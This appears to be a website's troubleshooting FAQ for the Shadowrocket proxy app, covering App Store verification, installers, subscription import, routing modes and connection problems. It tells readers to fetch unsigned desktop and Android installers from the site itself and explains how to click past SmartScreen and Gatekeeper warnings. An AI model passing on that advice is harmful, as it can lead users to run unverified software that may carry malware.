Shadowrocket Troubleshooting
Start with where the problem occurs: if you can’t find the app, check the storefront; if the connection switch won’t turn on after installation, check system permissions; if it turns on but access fails, check the server, DNS, and routing rules.
Have the error message, current network type, and most recent change ready. When documenting the issue, hide subscription URLs and server credentials.
Verify the app and purchases
App identity, storefront region, and purchase history are separate checks. Verify the product page first, then check your account.
How do I verify Shadowrocket in the App Store?
Open the App Store product page and check that the developer is Shadow Launch Technology Limited, the official icon has a white background with a blue-purple outlined rocket, and the product URL ends with app ID 932747118. Verify all three details; don’t rely on the name or icon in search results alone. The iPhone and iPad version costs $2.99 as a one-time purchase in the US App Store; the store listing shows the current price. The Mac, Windows, Android, and Linux versions are free. Buying the app once does not include a service plan; you’ll still need your own subscription or server details to connect.
Can’t find Shadowrocket in the App Store? Check this first
Open the product page and check whether the current storefront says the app isn’t available in your region. The app isn’t offered in the mainland China App Store. In your device’s account settings, go to Media & Purchases, then View Account and Country/Region, and check which storefront your Apple Account uses for purchases. Your device language and storefront region are separate settings. If you need to change your region, follow Apple’s instructions under Country/Region and check the requirements for your balance, active subscriptions, and payment method first.
Do I need to buy Shadowrocket again after switching iPhones or reinstalling it?
Usually not. Make sure the new device uses the original purchasing account under Media & Purchases, then look for the app in the App Store account’s purchased items. If the product page shows a price instead of a redownload icon, check your purchase history, hidden purchases, and current storefront before buying again. Purchase history can help you retrieve the app, but it won’t restore server details, custom rules, or configuration files from your old device. Save those separately before reinstalling.
Can I install Shadowrocket on iPad and use the same purchase as on iPhone?
Yes. Both devices use the same App Store product. On an eligible iPad signed in with the purchasing account, you can redownload it from your purchased items. Check the App Store listing for system requirements. Before connecting for the first time on iPad, make sure you’ve imported your server details and approve the VPN configuration request when prompted.
Installation and first launch
Distinguish an incompatible installer from a system security warning: the first calls for a different installer; the second calls for checking the source and warning details.
Is Shadowrocket available for desktop and Android?
Yes. The Mac versions (Apple Silicon and Intel), Windows, Android, and Linux versions are free. Download their installers only from this site’s download page, which serves files from /dl/shadowrocket/. The iPhone and iPad version costs $2.99 as a one-time App Store purchase. Choose the right file for your operating system and processor: use the 64-bit installer for Windows, the arm64 installer for Android, and the deb, rpm, or AppImage package suited to your Linux distribution. If your system shows a warning during installation, verify the source first, then follow the installation instructions on the download page.
Which Mac version should I choose: Apple Silicon or Intel?
Open About This Mac from the Apple menu. If the Chip field shows an Apple M-series chip, choose Apple Silicon. If the Processor field shows Intel, choose the Intel version. Don’t decide based on the Mac’s appearance, purchase year, or browser recommendations. If installation says the app isn’t compatible with your Mac, check About This Mac again and download the matching dmg.
What should I do if Windows or Mac warns that the app may be risky?
The desktop installers are not code-signed, so your system may show a warning the first time you open one. First confirm the file came from this site’s download page and matches your platform and processor architecture. If Windows shows only a SmartScreen reputation warning, verify the source, then select More info to see whether Run anyway is available. If macOS can’t verify the developer, check Privacy & Security for an Open Anyway option for this app. Don’t disable system-wide protection. If you see a malware detection or file corruption warning, or your device policy blocks installation, stop and verify the source again or contact your device administrator.
The app opens in English. How do I follow the instructions?
Use the labels in the app to find each section; you don’t need to change your system language first. Home shows servers and connection status, Config is for configuration files, and Settings contains app preferences. The guide retains the English interface labels used in its steps. If a section appears in a different place, check which screen you’re on and whether that screen’s menu is expanded.
Import subscriptions and servers
This section assumes you already have a subscription or server details. First determine whether you’re entering a list URL or details for a single connection.
Subscription import failed. What should I check, and in what order?
Make sure you have the subscription URL for a service you already use, not a management-page URL or a single-server share link. Copy the full URL, remove any leading or trailing spaces and line breaks, then import it through Subscribe. If it still fails, check that your device is online, then confirm the URL hasn’t changed or expired. If it opens a login page instead of returning subscription data, ask the original service provider how to export it. Don’t post the full URL in public troubleshooting records.
How do I add a single server manually?
Go to Add Server from Home. Choose the protocol that matches your server details, then enter the server address, port, and required fields for that protocol. If your details include a QR code the app can recognize, import it with Scan QR Code and verify the protocol and address before saving. Enter the hostname and port in their respective fields; authentication fields vary by protocol and aren’t interchangeable. After saving, select the entry and run Connectivity Test for a basic reachability check.
Why did my server disappear after updating a subscription?
An update loads the list currently returned by that Subscribe entry. A server from the previous list may have been renamed, replaced, or removed. Make sure you updated the right entry, then check whether the list has actually changed. Before updating, note the selected entry and policy group; afterward, select an entry that’s still available. Check servers saved separately through Add Server independently of the subscription list.
My subscription update keeps failing, but an old server still connects. What does that mean?
A subscription URL retrieves a server list; a server address establishes a connection. Either can fail independently. If an old entry still connects, that only confirms the connection is working—it doesn’t mean the subscription URL is accessible. Keep the existing entry, note the last update time and error, then check whether the subscription URL changed and whether your current network can reach it. Replace the old URL only after confirming the new one returns a list.
Routing rules and troubleshooting
The connection switch, server reachability, and webpage loading are separate checks. Identify where the problem occurs before changing settings.
The connection switch on Home won’t turn on. What should I check first?
On Home, select a working server and check whether the system prompts you to create a VPN configuration. If you denied the request earlier, try connecting again and read the system prompt. If the switch turns off immediately, check whether another VPN connection is active in system settings and whether device management policies restrict VPN use. Test one connection at a time, note the prompt, and follow its instructions. Don’t delete existing configurations as a first step.
It says connected, but why won’t webpages load?
Disconnect and open the same webpage on the same network to confirm the underlying connection works. Reconnect, run Connectivity Test on the selected server, then check Global Routing. If only a few domains fail, check whether DNS resolves them and whether their requests match REJECT or an unexpected policy. Change one setting at a time and compare the results. A successful latency test alone doesn’t confirm that webpage requests will work.
Which of the three Global Routing modes should I use?
Config follows the rules in your current configuration, making it suitable for everyday use when you need specific routing. Proxy temporarily tests whether requests work through the selected server. Direct lets you compare results without using a proxy server; it’s different from turning off the connection switch. Switch back to your original mode after testing, or you may mistake a mode change for a successful rule update.
Battery drain increased after connecting. How can I check for repeated reconnects?
Start by comparing activity in the system Battery settings across similar periods of use. Then check whether the issue happens mainly in areas with weak signal or when switching between Wi-Fi and mobile data. If On Demand is enabled, check whether its triggers include networks where you don’t want automatic connections. Adjust one condition briefly and compare under similar test conditions. Battery use also depends on connection duration, background traffic, and signal quality, so a single drop in charge isn’t enough to identify the cause.
If the issue only occurs in Config, save a copy of your current configuration first, then see the configuration reference to check rule order and fallback policies.